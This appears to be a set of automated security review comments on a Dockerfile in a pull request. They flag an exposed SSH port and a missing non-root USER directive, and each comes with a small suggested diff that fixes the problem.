🟡 [MEDIUM] DF006: SSH port 22 exposed
The container exposes port 22, suggesting an SSH server is running inside the container.
Risk: Threat: Unauthorized access. Impact: Running SSH in containers increases the attack surface and bypasses standard container orchestration logging/access controls.
Suggested fix ✅ verified:
@@ -5,3 +5,3 @@
-EXPOSE 22 3000 5432
+EXPOSE 3000 5432
Remove port 22 from the EXPOSE directive and disable the SSH service within the container.
| @@ -0,0 +1,14 @@ | |||
| FROM node:latest | |||
There was a problem hiding this comment.
🟡 [MEDIUM] DF008: No non-root USER directive
The Dockerfile does not specify a USER, meaning the application runs as root by default.
Risk: Threat: Container breakout. Impact: If the application is compromised, the attacker has root privileges within the container, making it easier to exploit kernel vulnerabilities.
Suggested fix ✅ verified:
@@ -10,4 +10,5 @@
COPY . /app
WORKDIR /app
RUN npm install
+USER node
CMD ["node", "server.js"]
Use the 'USER' directive to switch to a non-privileged user before running the application.
Terraform, Kubernetes, Docker, and CI/CD pipeline for the production API deployment.